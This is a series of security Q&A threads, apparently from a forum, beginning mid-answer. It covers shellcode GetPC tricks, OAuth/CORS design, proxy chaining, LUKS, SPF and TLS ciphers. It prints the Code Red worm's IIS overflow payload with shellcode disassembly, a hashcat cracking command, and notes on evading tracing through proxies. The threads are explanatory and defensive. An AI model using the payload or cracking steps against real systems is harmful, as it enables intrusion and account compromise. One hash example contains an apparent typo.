Important part are the fcmovnu and fnstenv instructions. At the end of this blog post it is explained how these instructions serve to obtaining current EIP.

Fnstenv instruction is saving floating-point-unit environment to supplied address. It writes 28 bytes, and the instruction pointer is located on 12 byte offset. I think that fcmovnu is just a random floating-point instruction used to initialize the FPU's environment.

http:// www.website.masmforum.com /tutorials/fptute/fpuchap3.htm#fstenv (link edited because I don't have enough rep to post more then two links)

So why are 9 NOPSs needed?
Fnstenv is writing 28 bytes on address ESP - 12 ("fnstenv [edi-0xc]" and esp is moved to edi instruction before).

If the shellcode is just under ESP, without NOPs, part of the shellcode is overwritten (mainly the next instruction "pop eax").

If there are 9 NOPs, this is what happens:

Fnstenv overwrites 12 bytes before the ESP (we don't care about these).
Then it overwrites 9 NOPs after the ESP.
28 - (9 + 12) = 7. 7 more bytes to write.
These 7 bytes are overwriting the start of the shellcode - but only the instructions that are already executed: mov, fcmovnu and fnstenv - these are together 7 bytes. The next instruction "pop eax" is not overwritten and the shellcode works.

Looking at a core dump confirms this explanation.


Designing single-sign-on with JSONP/CORS? I like the way that OAuth/OpenID can authenticate/identify a user from another domain, but only if the other domain allows it (presumably on the user's instructions).

I would like to do something similar, but using CORS AJAX or an alternative like JSONP.  The problem is that when using a whole-page redirect, the "login domain" can be certain about which domain it's supplying the auth_token/info to, because it's issuing an HTTP Redirect itself.  However, that's not true for JSONP.

My current thoughts are below, and my questions are:

What are the weaknesses in this pattern?
Is there a way of doing this without two separate requests (for the non-CORS case)?

General case:

EDIT: This section originally assumed a JSONP request - in fact, I think it could be any type of data

Case A: user logged in on the "login domain" (using cookies)

The client makes a request to the "login domain", supplying a URL on the "service domain"
The login server looks at the supplied URL, and thinks "yes, that's fine", and returns an HTTP Redirect (3XX) response that includes an auth_token/whatever in the URL
The client follows the redirect back to the service domain.  The service domain stores the auth_token/whatever in the session, and returns a static resource (e.g. an image)
The client then makes a second request to the service domain (no cross-origin allowed) to retrieve the auth_token/whatever.

Case B: user not logged in on the "login domain", or has not authorised sharing details with the "service domain".

The client makes a request to the "login domain", supplying a URL on the "service domain"
The login server returns an HTTP Redirect (3XX) response that includes a "not authorised" status in the URL (or perhaps the URL of a full-page OAuth-style login)
The client follows the redirect back to the service domain.  The service domain stores the "not authorised" status in the session, returning a static resource to the client.
The client then makes a second request to the service domain (no cross-origin allowed) to find out that authorisation/identification failed.

Case C: other site attempting to inspect login status

The user navigates to the dodgy site
The client makes a request to the login server, supplying a URL on the actual service domain
The login server redirects to some page on the actual service domain, which returns a static result
The user may or may not be logged in - but the client can't find out because the "service domain" endpoint that would tell them is prohibited by the cross-origin restriction

CORS AJAX case

If the "login server" endpoint has CORS enabled, then the request could be made as an AJAX request.  If the "service domain" endpoint does not have CORS enabled, the final result of this AJAX request could actually be an echo of the auth_token/whatever, instead of requiring a second request.

The client makes a CORS AJAX request to the "login domain", supplying a URL on the "service domain"
The login server returns an HTTP Redirect (3XX) response that includes the auth_token/failure/whatever in the URL
The client follows the redirect back to the service domain.
The service domain returns a document containing all the info supplied in the URL (auth_token/whatever).

In fact - this "echo the auth_token" behaviour could even be used instead of the static resource from the above section, thus supporting both models with the same endpoint.

OAuth is flexible, and sometimes the OAuth flow is modified for application specific needs.  The most common two flows are 2-legged and 3-legged,  which if these flows are implemented correctly,  then they are generally accepted as secure.

The proposed CORS AJAX implementation of the OAuth flow violates two security requirements of RFC-6749 - OAuth 2.0 Authorization Framework. This deviation from the standard undermines the ability for the authorization server to properly validate the client, and the client's intentions.

There must be a control in place to prevent a malicious JavaScript client from falsifying interactions with the authorization server.  If the URL is supplied as an argument within a CORS Ajax request, rather then checking the HTTP origin header,  then a malicious client is permitted to lie about it's context.  Further more, a redirection is used for mutual authentication of the authorization server and the client.  Not having these controls in place is a violation of RFC-6749 - 10.2. Client Impersonation:

  A malicious client can impersonate another client and obtain access to protected resources if the impersonated client fails to, or is unable to, keep its client credentials confidential.

  The authorization server MUST authenticate the client whenever possible.  If the authorization server cannot authenticate the client due to the client's nature, the authorization server MUST require the registration of any redirection URI used for receiving authorization  responses and SHOULD utilize other means to protect resource owners from such potentially malicious clients.  For example, the authorization server can engage the resource owner to assist in   identifying the client and its origin.

The OAuth flow must be initiated by the user.  The OAuth state parameter is used to prevent CSRF when establishing authentication.  Forcing a user to login to a web application is a useful link in a session-riding attack chain.  After a session has been established an attacker can control the newly created session using CSRF, or XSS.  The failure to prove the user's intention in this context is a violation of RFC-6749 - 10.12. Cross-Site Request Forgery:

  A CSRF attack against the client's redirection URI allows an
  attacker    to inject its own authorization code or access token,
  which can    result in the client using an access token associated
  with the    attacker's protected resources rather than the victim's
  (e.g., save    the victim's bank account information to a protected
  resource    controlled by the attacker).


Is it actually feasible or useful to use a high number of proxy servers? In the movies, it's not uncommon to see the digitized global map projected on a huge wall with a line of light (presumably a user's connection) travelling back and forth all over the globe in a confusing web.  Supposedly this is because he is using dozens of proxy servers all around the globe to mask his connection.

First of all, is this even actually possible (without essentially freezing or timing out every request)?  I've run applications through several proxies at a time (three or four maximum), and even this seems to slow performance to a relative crawl.  If these proxy servers were a large distance apart physically as well (one in Germany, one in China, one in Australia, etc.) it seems like that would generate an even bigger performance hit and make this approach unrealistic.  I'm not an expert in client-server traffic, though, so I may be misunderstanding something or ignorant of a technique that makes this possible.

Secondly, even if a malicious user could do this, is it useful?  Does it actually cloak his tracks, or is it merely security through obfuscation?  It seems like no matter how many servers you run your connection through, that digital footprint will still be there and it will still be traceable.

There is an unavoidable minimal latency when shooting packets across the whole planet, because the speed of light is an absolute maximum for the transfer of controlled information, according to the Laws of Physics as we know them.

("Controlled" means that I am not talking about so-called quantum teleportation, which works in lab conditions, but does not let you choose the information that you send. Also, even if the laws of physics can be broken in abstracto, it is doubtful that existing routers and, even more so, infected PC, will be so kind as to enact the break for you.)

Thus, the minimal time for a roundtrip between North America (East Coast) and Europe is about 40 ms (20 ms for each direction). In practice, observed roundtrips are close to 120 ms (that's what I personally get, ping time from my home in North America to my server in France), which is bigger but still in the same order of magnitude. Assuming this crude measure to be representative, we may then claim that the latency will be about three times what it would take for light (in a vacuum) to walk the total distance. This leaves us enough juice to do more than two circles around the world (even equatorial circles) and still be at sub-second latencies. One second of latency is not comfortable and you certainly do not want that for any gaming-related activity, but it will be far from timeouting.

This can be compared with Internet access through geostationary satellites: since such a satellite orbits at 36000 km above the Earth, ping time is always bigger than half a second (that's four 36000 km trips for each ping). Such latency can be heard when phoning people in remote places (where there is no transoceanic cable): the extra latency always gives the impression that the guy at the other end is not fully awake. I certainly would not like a satellite-based Internet access for my own usages, but there are people who succeed at it.

As for security, each hop is indeed a good way to cover your tracks, as long as the proxies do not propagate the information. Normal proxies add their own HTTP header line to make it clear from whence the request originally came; an anonymizing proxy will omit that header. When proxies are all over the World, it becomes complex for Law Enforcement Agencies to rewind the whole cascade, because they have to seize each successive proxy and find log entries which point to the next (previous) proxy machine. International police being what it is, competent attackers who do a lot of hops consistently evade legal retaliation (but competence is a rare thing in this World).

Of course, the Hollywood World Map with lights showing the whole path is a pure fantasy; and even if it existed, it would indicate a spectacular failure for the attacker: the whole point of doing many hops is to make it difficult to rebuild the complete sequence of proxies, regardless of whether the rebuilding is for feeding a World Map with blinking lights, or to unleash a police squad on the perpetrator.


Are there ways to protect the guest kernels at the hypervisor level? Let's say I have a linux guest running in xen and I want xen to check the integrity of the guest kernel so that I know there aren't any rootkits, or similar, active.

Is there a way to accomplish this in with xen or other hypervisors?

That exists handily? I'm not aware. However, within the memory space that the VM allocates, the kernel is in predictable location. One could write code which reads the memory and compares the structure to what is expected.

If I were implementing such a creature, I'd focus on following the system APIs and ensuring that they are appropriate. One likely challenge is that different kernel versions will have changes in different areas. You may have to do mapping on a kernel-by-kernel basis.

You may be able to run chrootkit externally to the VM by exporting your filesystems. I've never tried such a thing, but I bet it would make an excellent research project.

EDIT: or read your disk images direct live and use known good hash comparisons from outside the vM. Then your VM continues running, but you have the benefit of the "LiveCD" confidence. There, now I have answers ordered from most esoteric to readily available.


How did the Code Red worm work? So I've been reading a bit about the Code Red worm, and I get the gist but the overflow string doesn't make sense to me.

From this site, it says that the overflow string the worm used was

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

All the 'N's are probably just for the buffer overflow, but what do the letters and % signs mean? If it makes any difference, I don't know any C languages nor ASP.NET

I'm only speculating, but yes the N's are for the initial buffer overflow.  You'll notice that %u9090%u6858%ucbd3%u7801 is repeated over and over.  These are 8 bytes of unicode values in hexidecimal.

%u9090 is most likely a NOP (no operation) machine instruction.  In hexidecimal for Intel x86 then this instruction is one byte, 0x90.  So it repeats these 8 bytes 3 times.  The purpose I'm guessing is to overwrite the return address with its own address.

Then you have %u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00.  Which seems to me that this is the shell code needed to gain execution.  If you remove the unicode designatore %u you get a stream of instructions.  Using radare2 you can run the following command on 90909090819000c300038b00531b53ff00780000

rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
push ebx
inc dword [eax]
js 0x13
.byte 0x00 1

Now I could be wrong about the first 3 repeated values.  Maybe they're part of the shellcode.  So lets just run the same command on the full byte string:

$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1

To learn more about how buffer overflows work; check out Why are buffer overflows executed in the direction they are?, and Security implications in neglecting trailing NULL byte.


Downloading a file from a server with a secret: in text or binary? Suppose, a user can click a button on a website and downloads a file with a secret. Via ajax. Is it more secure if a server  generates that file and sends it as

1) zip, tar or the like -- a binary file. Content type: application/octet-stream or application/zip or something similar.

2) or as a plain text file? Content type: text/plain.

Note that in the 1) case, zip/tar whatever isn't protected by a password.

HTTPS is used in both cases.

There isn't really a difference.

If you use proper TLS encryption, neither can be read by a man in the middle, and if the server properly authenticates requests, nobody who is not allowed to will be able to download the file.

If you don't use proper TLS or do not properly authenticate users, an attacker could read the file in both cases.

You definitely should not use non-password protected zipping as a security measure.


LUKS nuke efficiency I am wondering about LUKS nuke patch efficiency.
In fact, I think I don't really understand it.

From what I know of LUKS, a passphrase is used to encrypt a random key (the master key), which is used to encrypt the data.
Both the encrypted master key and the encrypted data are stored on the partition.
LUKS nuke equals erasing the encrypted master key.

Let's say my passphrase contains uppercase, lowercase, symbols, number, and is 30 characters long.

Now, is the master key encrypted with the same algorithm as the data?
If so, how is it safe to erase the encrypted master key? I just have to try to decrypt the data.

Where am I wrong? Does it take much longer? Are the algorithms different? Do I miss something?

What is the security betterment?

Thank you for your explanations.

The LUKS master key is generated in a truly random manner.  As a result, there is no way to guess it faster than simply trying every possible key, and it provides the full potential strength of the underlying encryption algorithm.

Your passphrase is probably not random (and even if it is, it only provides 197 bits of security, while some encryption algorithms provide as much as 256 bits).  Because of this, trying to guess the passphrase is probably faster than trying to guess the key derived from it.

Note that LUKS Nuke provides no additional security over plain LUKS when faced with an intelligent attacker.  A smart attacker will make a copy of the encrypted volume before trying to beat your password out of you, and giving them the "erase" password will only wipe the copy, not the original.


Which Windows Files Should be Monitored by HIDS? I highlighted my question below. Here is some background.

It's easy to find data showing the most commonly trojaned/modified Linux binaries and config files. ps, ls, find, kill, lsof, passwd, shadow, syslog.conf, etc. are all frequently changed after a system has been compromised. It's also easy to monitor utmp and wtmp to be alerted when a user logs onto a Linux system or when someone reboots the system.

Windows seems to be much more of a black box and more difficult in general to monitor. Part of this is due to the registry and lack of plain-text configuration files while part of it seems due to the closed-source, undocumented nature of Windows. And when I say, 'monitor' I mean know in real time that a file has changed through alerting (not logging). Send me an alert via sms, email, etc when X executable changes or when the local SAM file changes or when a virus reboots the system to install an infected MBR. And really, integrity monitoring is easy, the difficult part is knowing what files on Windows should be monitored. We can't monitor and alert on all files.

Is there an official list of commonly trojaned/modified Windows files that should be monitored by a HIDS?

A reasonable approach here might be to see what existing HIDS products do in this regard.  If we take OSSEC as an example, per the book on their site has a long list of both files and registry keys that are monitored for changes (P84 in the linked PDF)

In general windows system files are mostly in c:\windows, so a lot of files to be monitored will be in that location.


How does hashcat figure out the SHA CRYPT ROUNDS on a Linux password A part of my /etc/login.defs file looks like this:

ENCRYPT_METHOD SHA512

# Define the number of SHA rounds.
# If not specified, the libc will choose the default number of rounds (5000).
# The values must be inside the 1000-999999999 range.
# If only one of the MIN or MAX values is set, then this value will be used.
# If MIN > MAX, the highest value will be used.
#
# SHA_CRYPT_MIN_ROUNDS 5000

SHA_CRYPT_MAX_ROUNDS 6000

From what I understand of this, is that the password will go through 6000 rounds of hash.

Now, when I used a tool like hashcat how do I tell it that the hash has gone through 'x' number of rounds.

I am able to use hashcat like so: hashcat -m 1800 -a 0 -o found.txt hash.txt rockyou.txt and it is still able to find it. Is it able to figure out the number of rounds by itself?

Edit: I just found out that the Linux box wasn't actually using 6000 rounds of hash, although I thought I had configured it to use 6000 rounds. Instead it was just 5000.

With some Python code, I was able to replicate the "SHA512" password encryption in Linux:

from passlib.hash import sha512_crypt
sha512_crypt.encrypt("testing123",rounds=6000,salt="6EGwX1iP")

The resulting hash is $6$rounds=6000$6EGwX1iP$oMerxGPimb/4ZXcI0Vbt87sNfw07eh7VPzcQwHOls8t3hLYGLQR0KjncrpyAjLTfPC3Fj7jhFoZKeuPRfTbJa/

This string of course has the number of rounds which can be passed to hashcat.

Edit: I saw that you found your answer, but I'll add it here for completeness sake. (And I already had this written down).

Hashcat doesn't guess the # of rounds, and the amount of rounds specified in your /etc/login.defs isn't properly applied.
I took an example from my Linux box:

$6$elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

This is the same as:

$6$rounds=5000&elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

If the amount of rounds was properly set, you would see a different number instead of 5000 in the hash.
Linux
On my box running Kali Linux I was able to specify the number of rounds by going to the /etc/pam.d/common-password and finding the line (line 25 in my case):

password        [success=1 default=ignore]      pam_unix.so obscure sha512

I appended "rounds=1234" to it:

password        [success=1 default=ignore]      pam_unix.so obscure sha512 rounds=1234

saved and created a user:
$> adduser test3
And ended up with this in my /etc/shadow-file:
$>tail --lines=1 /etc/shadow

test3:$6$rounds=1234$SzWcxuIH$YX1QDmE1PG7grJ/4rJ8LkwggmEffoo9vUCuPAhL3x2sBQZJ8n2a2OeHpFEKaWDH2o.NGYwbLFZNabfOQlQuZ21:16627:0:99999:7:::

Hashcat
You can manually specify how many iterations Hashcat should do by appending rounds=[# of iterations] after the signature, e.g:

$6$rounds=5000&elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

This will, however, be automatically applied if the amount of rounds != 5000, in /etc/shadow


How to define security requirements to ensure that developers... do not provide security by obscurity? I tried to explain that security by obscurity should not be used but let's say I was challenged!

I received the answer to list the known security by obscurity that I know, as a kind of bad practice and that should not to be followed. Indeed it is quite difficult to define Security by Obscurity, but I am not convinced that listing a bad practice is the correct way neither.

Therefore my questions:

Does anyone has a list of security by obscurity solutions that I can list?
Wouldn't be better to define requirements that stop security by obscurity? but how to define those requirements? I was wondering whether someone know what would be the proper requirements to setup in order to disallow security by obscurity

An example is the content scrambling system to prevent DVD's being copied. While the scrambling system was unknown, this worked. Then a teenager called Jon Lech Johansen figured it out, wrote DeCSS and it was broken.

As @GrahamLee points out, security mechanisms which need to be relied on must still work even when known about by the bad guys.

These days Cryptography provides security in so many applications, so it is critical that it be implemented correctly. Because the mathematics is beyond most people, there is one school of thought which advocates publishing the algorithms and letting people the world over try to find flaws. The upside - many eyes. The downside - if the algorithm is already implemented, an attacker may find a flaw and be able to use it, so doing this before implementation is very useful.

The other viewpoint is to hide the algorithm to prevent attackers knowing how it works - The problem with obscurity is that it has been proven time and time again that relying on security through obscurity fails because at some point the bad guys discover the secret.

Worth reading this post by Bruce Schneier - a well known opponent of security through obscurity, and the author of various crypto algorithms which have been tested by the community - as an example of where obscurity has worked, but only because criminals did not learn of the plan.

I don't know if it is possible to really answer the last part of your question without more context. For example, if this is for code developed by 3rd parties you could demand a code review, but what you could really look for is a 3rd party that publishes their algorithms / code etc as open source.


Do memory-level vulnerabilities in x86 applications also affect ARM? I am currently fuzzing various open-source libraries and programs in order to find buffer overflows, underruns, memory leaks, crashes, etc.

I am using an ARM system to perform this fuzzing. The programs are compiled from source using my local system.

Will the vulnerabilities I find also work on x86_64 systems, and other architectures?

The true question I'm asking is whether these sort of memory-level vulnerabilities are dependent on the architecture or not?

Will the vulnerabilities:

Always work?
Sometimes work?
Never work?

Sometimes yes, sometimes no. It isn't just a matter of processor architecture: the compiler matters, the compiler version matters, the optimization options matter, the system libraries matter...

If the code (including any potentially-buggy dependency) is written in a memory-safe language (i.e. most programming languages in widespread use other than C and C++), its behavior is largely predictable and platform-independent. But if the code is not written in a memory-safe language, then whether a bug in the source code translates into a runtime bug depends on the exact details of how the code is compiled and executed.

For example, suppose that the code copies a null-terminated string but omits the null terminator. Whether this turns out to be a problem depends on what is immediately after the result in memory. It may happen that in a certain build, the buffer containing the string previously contained all-zero, and therefore there is no vulnerability. But in a different build, or with a different runtime environment, you won't have this luck.

Tools like Address Sanitizer (ASan) and Valgrind instrument the binary to try to make memory problems more likely to manifest, at the expense of performance and memory usage. They use techniques such as reserving space between buffers so that a buffer overflow affects the reserved space rather than some other variable, and keeping copies of the expected content of some memory and checking them to detect if they're modified when they shouldn't be. First run those tools on sample inputs to weed out the most obvious problems. Then run those tools on inputs produced by your fuzzer.

x86 is usually a better platform for fuzzing because there are more tools available and because fuzzing is very demanding in CPU time. But if you have an arm cluster, you can use an arm cluster. When you combine the diversity of inputs from a fuzzer and the memory organization of a memory error detection tool, few memory errors will go undetected no matter what the platform is.


How to secure an application deployed in some port I was wondering, If there is a (private) application or service deployed at example.com:5000, how can someone prevent undesired requests to that port ?

I was thinking about a solution were the credentials for the user should be sent in the first request to the application and it should then answer back with some session token (like a cookie?) that you can attach to each one of your following requests. Maybe another security measure could be to use fail2ban with the application logs.

Furthermore, is there any library to easily implement something similar in NodeJS, Python, Java or C++ (or any other) ?

Thanks

If you're using an established protocol, such as ssh or http or whatever, use an/the established authentication scheme for that protocol (and, for network protocols that aren't inherently secure, use a secure transport such as TLS). If you're using a custom protocol, first ask yourself why you are doing this (the network and CPU overhead of something like JSON via HTTPS are almost certainly worth spending to get the developer convenience of working with a well-established toolset) and if you decide you absolutely must do it, tunnel it through TLS (or DTLS or some other secure protocol, if you must) anyhow, and then either do a standard require-credentials-and-issue-session-token auth or use TLS client certificates (mostly a matter of how much control you'll have over clients and how easy it needs to be to add new users).

To be clear, though: all of this is for how you authenticate a user. You cannot ever meaningfully restrict what clients connect to your server; it is a fool's errand to try. Anything that your client can do, I can clone in my own client. Just authenticate the users.


How are SPF records used in practice? I always thought that receiving email servers check the "from" domain's SPF record to verify that the sending server is allowed to send email. For example, if I sent email from "atte@atte.com", the receiving email server would query DNS records for atte.com and verify that the server which is sending mail is allowed to send mail for this domain.

But today I came across this article, which claims that nowadays email servers don't care about the "from" domain's SPF record - instead, they care about the "Return-Path" domain's SPF record. The "Return-Path" header is used for bounces etc. and is generally not visible to email recipient. Doesn't this makes spoofing trivially easy?

My question is: is the information provided in the article correct or am I potentially running into deliverability issues if my SPF record is not listing the sending server as an allowed sender? Note that I'm not asking a question about a theoretical world where everyone adheres to standardized protocols, but rather a practical question about the actual world where email providers have extremely aggressive proprietary spam filtering systems.

Edit: This is not a duplicate. Because I was requested to do this, I will go through the linked "possible duplicates" 1 by 1 below:

Why set up DMARC for SPF if it's already set up for DKIM?

The question linked above is asking why set up DMARC if SPF and DKIM are already set. This is entirely different from my question "how do most common email providers use the SPF record in 2019".

Security of SPF vs SPF and DKIM in email

The question linked above is asking what are the advantages of DKIM, if SPF is already set. So a completely different question again.

DMARC policy result when exactly one of SPF and DKIM fails and exactly one succeeds

The question linked above has practical relevance for me, since it answers the issue that I have in practice. However, it does not answer the question I posted here. The question I posted implies that the SPF record is not set, which is clearly different from the situation where the SPF record is set.

From the beginning SPF test has compared the envelope sender against the published DNS record. This article is wrong claiming that this has been changed.

SPF is simply designed against forged senders, not forged headers. DKIM is designed to protect the headers and the body against forging and tampering. The From: header is always signed, other headers being optional.

DKIM can only protect mail that has been signed, but it doesn't provide a mechanism to prove that an unsigned message should have been signed. DMARC alignment can enforce DKIM by telling the receiver how they should handle unsigned messages.

SPF and DKIM protects your email domain against different threats. The only efficient solution against email spoofing is to use SPF+DKIM+DMARC together in a combination that allows all your own email scenarios and restricts everything else.

To answer the new question after the modification:

You need SPF record to match the envelope sender. Your SPF record doesn't need to match the sender in the From: header as it's never tested against the SPF record.
You should also implement DKIM+DMARC. This protects the From: header.
With all three set, a 3rd party email server can send email on your behalf using your domain in the From: header, if they have a matching DKIM signature. The envelope sender must match the SPF record: it can be their own domain, or you can add their servers to your SPF record to allow using your domain. Both are equally good, as the receiver only sees the From: header, and it's validated by DKIM.


Any non-commercial certificate authority issuer for web applications? Is there any non-commercial certificate authority capable of issuing valid certificates for web applications? I mean, the certificate must be accepted by browsers, like those of commercial CAs?

Start SSL is a commercial CA that issues standard SSL certificates free of charge. They are accepted by all common browsers, except for very old versions of Opera.


How likely it is that a hacker spoofed my own IP address when trying to log in to a website? I got a confirmation code without trying to log in which is what prompted me to investigate this. The account is just a Ubisoft account with 1 free game on it; I somehow doubt there would be motivation to employ sophisticated hacker techniques.

I know about Tor services and VPN, but I don't think those would spoof my own IP address. When I look at the log-in history for my account, it says my very own IP (at least, an IP with the same first and last segment, as the middle two were obscured into "XX"), failed a login attempt 15 minutes ago and I definitely don't remember doing anything remotely related to that account in the last 12 hours. Did a hacker actually spoof the correct IP, or is this more likely some sort of bug? How would they even know the right IP to spoof in the first place

Edit: Home router, not public place

While it's technically possible to hijack an IP address, it's a pretty high bar and not readily done.

I say hijack as opposed to spoof because user/client generated IP spoofs while easy are not useful for TCP or any two way communication. If I spoof your IP address as the source in my IP packet, the server will respond to that IP which will be you not me and I will not get a connection.

There are two fundamental ways to hijack an IP.

The simplest for an individual is to place themselves directly in-line with your connection as a Man in The Middle (MiTM), but even this can be fairly difficult in most circumstances.

The other method is via a change to Border Gateway Protocol. This is the protocol where various router gateways around the world declare that any IP addresses in a defined range should be sent to them for re-distribution. A BGP change could send your IP (and many others) to somewhere else in the world for subsequent handling by someone else in an IP hijack or a remote MiTM.

Both of these scenarios are pretty unlikely unless you are a high profile target.

The most likely cause is a mistake, or another device/person on your home network.


Router Question -- Port Forwarding Rules Added Automatically I have an Actiontec V1000H router/modem.  I have been having virus issues recently so I done a factory reset on all but 1 of the computers on the network.  I went to add in a Port Forwarding exception so my son can run a Minecraft server, and the port forwarding rules list had about 50 entries on there.  I know in the past when I went in there, there were no rules, but all of a sudden there are something like 50.  So I did a factory reset on the router.  Within 1 hour, new rules were already added, and less than 24 hrs later there is at least 50 open ports (or ranges of ports).  Should this be happening?  It seems every device on the network is adding rules to the list.  Is this because the virus I had is still coming from the one system that wasn't wiped?  It's really wierd though because even my son's IPOD, and my wifes Android phone have added open ports. Should I be concerned?  Is there anything you can suggest that would stop this?  Please advise.  Thanks.

If UPnP (Universal Plug 'n' Play) is enabled on the router, these port forwarding rules may have been added in response to UPnP requests from the devices.  UPnP is designed to allow devices to make these kind of reconfiguration requests of NAT devices.  Particularly services like video games and peer-to-peer file sharing applications use this technology to allow incoming connections from other users.


Block all BotNets and TOR addresses from accessing our site I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar list?

How effective would this in thwarting DDoS or black hat/covert activities?
How would I implement such a solution?  (I'm open to free or paid solutions here)

Edit

Assume that the users of this web site (or other network resource) should not be anonymous.  This could either be by company policy, in the terms of service, etc.

This is an exercise in limiting risk for the service provider.

My first thought is that if it's a DDoS attack, the source is most likely going to be infected zombie machines that the operator could care less whether they're traceable because they won't lead back to him. I'm sure a good number of black hat users use Tor to try and cover their tracks, but I'm also willing to bet there are more legitimate users on Tor than not. So essentially you could block all Tor traffic, but in the end you might end up blocking more good guys than bad guys.


Excluding cipher suites containing SHA or AES128 I’m aware this might not be seen as a question, but here goes:

A large organisation I work with has recently issued a new set of standards for acceptable cipher suites on all of their public-facing websites. The standards boil down to this:

If the cipher suite contains SHA1 - it’s not acceptable (e.g.
ECDHE-RSA-AES256-SHA)
If the cipher suite uses 128bit encryption -
it’s not acceptable (e.g. ECDHE-RSA-AES128-GCM-SHA256)

As far as I can tell, even with any recent vulnerability findings, this doesn’t seem like a sound premise for a set of TLS standards. HMAC with SHA is still considered acceptable, and AES128-GCM is considered pretty robust (as far as I know).

I have one chance to argue for an exception to this rule (which I’d like to do, as compliance involves removal of a major CDN provider from the site). Does anyone have any thoughts on why removal of cipher suites meeting these criteria would be detrimental to the end user of the site (client compatibility, performance etc).

The upgrade to AES-256 is happening and new servers offer it as 1-st option. To illustrate you how this is done here is list of newer httpd SSL ciphers (test with nmap), see below.

Now the thing is that if browser would not be able to use any strong variant then it can use any other weaker supported cipher. Ciphers are tried from the highest TLS protocol supported and then variants from the top first to the bottom last.

The following configuration makes good clients using strong ciphers but keeps compability with older ones so no-one is affected.

After change to that, one can analyze SSL logs to see what variants can be removed and how many users will be affected, but if it's big company then the list below should work for everyone for the start.

Regarding CDNs, to do switch from AES-128 to 256 is huge change which costs significant $$$. However, such change will have to happen once they upgrade the software to the newer one which will surely happen in the coming years.

So with this server Firefox is using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, OpenSSL is using best choice TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, Google Chrome says TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA, all with TLS 1.2.

Doing it differently will upset many users.

nmap --script ssl-enum-ciphers -p 443 127.0.0.1

443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 2048) - A
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 2048) - A
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
